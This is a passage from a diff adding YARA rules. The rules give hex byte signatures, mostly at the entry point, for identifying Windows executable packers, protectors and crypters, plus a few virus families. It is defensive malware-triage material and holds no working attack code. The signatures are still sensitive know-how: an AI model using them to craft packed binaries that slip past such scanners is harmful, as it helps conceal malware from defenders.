+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _MarjinZ_EXEScrambler_SE__by_MarjinZ_
+{
+	meta:
+		description = "MarjinZ EXE-Scrambler SE - by MarjinZ"
+	strings:
+		$0 = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_MSVCpp_70_DLL_Method_3__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V13X__risco_
+{
+	meta:
+		description = "ACProtect V1.3X -> risco"
+	strings:
+		$0 = {60 50 E8 01 00 00 00 75 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_NorthStar_PE_Shrinker_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] --> Anorganix"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PEtite_2x_level_0__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEtite 2.x (level 0)] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_023_alpha_2__Ryd_
+{
+	meta:
+		description = "kkrunchy 0.23 alpha 2 -> Ryd"
+	strings:
+		$0 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+		$1 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v071b2_
+{
+	meta:
+		description = "tElock v0.71b2"
+	strings:
+		$0 = {60 E8 44 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_Beta__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0 Beta -> SIS-Team"
+	strings:
+		$0 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _vprotector_12__vcasm_
+{
+	meta:
+		description = "vprotector 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+		$1 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEBundle_v310_
+{
+	meta:
+		description = "PEBundle v3.10"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+	condition:
+		$0
+}
+rule _Petite_14__c199899_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.4 -> (c)1998-99 Ian Luck"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _Cryptic_20__Tughack_
+{
+	meta:
+		description = "Cryptic 2.0 -> Tughack"
+	strings:
+		$0 = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Matrix_Dongle__TDi_GmbH_
+{
+	meta:
+		description = "Matrix Dongle -> TDi GmbH"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+		$1 = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_60_DLL__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake MSVC++ 6.0 DLL) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protect_v09_
+{
+	meta:
+		description = "PE Protect v0.9"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+		$1 = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyMinder__MicrocosmLtd_
+{
+	meta:
+		description = "CopyMinder -> Microcosm.Ltd"
+	strings:
+		$0 = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V111502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Shegerd_Dongle_V478__MSCo_
+{
+	meta:
+		description = "Shegerd Dongle V4.78 -> MS.Co."
+	strings:
+		$0 = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _CDS_SS_v10_Beta_1__CyberDoom__TeamX_
+{
+	meta:
+		description = "CDS SS v1.0 Beta 1 -> CyberDoom / Team-X"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v202c_
+{
+	meta:
+		description = "PE Lock NT v2.02c"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _JDPack_
+{
+	meta:
+		description = "JDPack"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1341__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.4.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v131_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.31 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v153_
+{
+	meta:
+		description = "DBPE v1.53"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _IMPPacker_10__Mahdi_Hezavehi_IMPOSTER_
+{
+	meta:
+		description = "IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0
+}
+rule _Vx_VirusConstructorIVPbased_
+{
+	meta:
+		description = "Vx: VirusConstructor(IVP).based"
+	strings:
+		$0 = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_2_
+{
+	meta:
+		description = "Petite v2.1 (2)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_Console_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (Console)"
+	strings:
+		$0 = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0
+}
+rule _Anticrack_Software_Protector_v109_ACProtect_
+{
+	meta:
+		description = "Anticrack Software Protector v1.09 (ACProtect)"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_Net__LiuXingPing_
+{
+	meta:
+		description = "NsPacK .Net -> LiuXingPing"
+	strings:
+		$0 = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _INCrypter_03_INinY__by_z3e_NiFe_
+{
+	meta:
+		description = "INCrypter 0.3 (INinY) - by z3e_NiFe"
+	strings:
+		$0 = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+	condition:
+		$0
+}
+rule _Vx_GRUNT2Family_
+{
+	meta:
+		description = "Vx: GRUNT.2.Family"
+	strings:
+		$0 = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_12build3009_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.2.build.30.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PECompact_v094_
+{
+	meta:
+		description = "PECompact v0.94"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Hide_PE_101__BGCorp_
+{
+	meta:
+		description = "Hide PE 1.01 -> BGCorp"
+	strings:
+		$0 = {BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hsigned_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)"
+	strings:
+		$0 = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+	condition:
+		$0
+}
+rule _EXECryptor_2x__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor 2.x -> SoftComplete Developement"
+	strings:
+		$0 = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+	condition:
+		$0
+}
+rule _DrWeb_VirusFinding_Engine__InSoft_EDVSysteme_
+{
+	meta:
+		description = "Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme"
+	strings:
+		$0 = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+	condition:
+		$0 at entrypoint
+}
+rule _LOCK98_V10028__keenvim_
+{
+	meta:
+		description = "LOCK98 V1.00.28 -> keenvim"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v145__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.4.5 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_10xx__18xx_no_compression__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies"
+	strings:
+		$0 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00}
+		$1 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+	condition:
+		$0 or $1
+}
+rule _AINEXE_v230_
+{
+	meta:
+		description = "AINEXE v2.30"
+	strings:
+		$0 = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEJoiner_v10_
+{
+	meta:
+		description = "EXEJoiner v1.0"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PKZIPSFX_v11_198990_
+{
+	meta:
+		description = "PKZIP-SFX v1.1 1989-90"
+	strings:
+		$0 = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_V2403__Jitit_
+{
+	meta:
+		description = "Thinstall V2.403 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+		$1 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_21_
+{
+	meta:
+		description = "Petite 2.1"
+	strings:
+		$0 = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+	condition:
+		$0
+}
+rule _AHTeam_EP_Protector_03_fake_ASProtect_10__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake ASProtect 1.0) -> FEUERRADER"
+	strings:
